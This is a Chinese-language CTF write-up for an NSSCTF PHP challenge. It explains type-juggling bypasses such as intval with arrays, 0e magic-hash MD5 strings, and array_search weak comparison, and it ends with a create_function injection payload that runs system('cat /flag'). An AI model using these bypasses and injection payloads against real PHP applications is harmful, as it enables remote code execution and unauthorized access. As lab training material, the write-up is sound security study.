[NSSCTF Round#16 Basic]了解过PHP特性吗

发布时间:2024年01月16日

了解过PHP特性吗 wp

第一页题目代码:

<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    $checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        $checker_2 = TRUE;
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        $checker_3 = TRUE;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        $checker_4 = TRUE;
    }
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
    echo $rce;
} 
第一关:intval 无数字绕过

推荐博客:CTFshow刷题日记-WEB-PHP特性(上)

if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    $checker_1 = TRUE;
}

num 中没有数字却要通过 intval 的检测。

已知 intval 有如下特性:

echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1

那么只需要传入一个非空的数组即可:

num[1]=a&num[2]=b
第二关:ctype_alpha && is_numeric && md5 弱比较绕过

推荐博客:MD5绕过

if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        $checker_2 = TRUE;
    }
}

ctype_alpha 函数检测提供的 string 类型的 text 里面的所有字符是否都是字母。

is_numeric 函数用于检测变量是否为数字或数字字符串。

strrev 函数反转字符串,所以传入的值要先反转一次。

因此让 ctype 是纯字母,让 is_num 是纯数字,并且两边经过 MD5 加密后都是 0e 开头,就可以通过弱比较。

经过 MD5 加密后是 0e 开头的纯字母字符串:

QLTHNDT

QNKCDZO

EEIZDOI

… …

经过 MD5 加密后是 0e 开头的纯数字字符串:

240610708

4011627063

4775635065

… …

POST 传参:

ctype=TDNHTLQ&is_num=807016042
第三关:intval 绕过且长度限制,is_numeric 绕过
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        $checker_3 = TRUE;
    }
}

114 用科学记数法传入即可,514 可以用 数字+字母,数字+%00,或者数组绕过。

GET 传参:114=1e8 ,POST 传参:514=999999999a

第四关:array_search 绕过

推荐博客:PHP弱类型总结

$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        $checker_4 = TRUE;
    }
}

array_search() 函数在数组中搜索某个键值,并返回对应的键名。

用法示例:

<?php
 $a=array("a"=>"red","b"=>"green","c"=>"blue");
echo array_search("red",$a);
 ?>

输出结果:a

array_search() 函数在查找时使用的是弱比较;

PHP 中比较 0 == "NSS" 时,字符串 "NSS" 会被转换为数字 0,所以比较的结果是 true

因此可以传入一个数组,其值是 0 ,这样在 array_search() 查找时一定能成功,返回键名为 0 ,那么强比较就成功了。

因此 payload 为 POST 传参:arr4y[]=0

该数组只有一个元素,其下标为 0 ,值为 0 ,下标就相当于键名;

array_search() 查找时,将 “NSS” 与键值 0 做弱比较,比较成功,返回键名 0 。

上述 payload 整合后,返回结果为:

在这里插入图片描述

提示:Rc3_function.php

第二页题目代码:

访问 Rc3_function.php :

<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
    $nss_shell = create_function($shell,$nss);
} 
create_function 注入

推荐博客:[NISACTF 2022]level-up level 5

POST 传参 payload:

nss=return;}system('cat /flag');/*&shell=

返回结果:

在这里插入图片描述

拿到 flag 。

文章来源:https://blog.csdn.net/m0_73612768/article/details/135618562
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。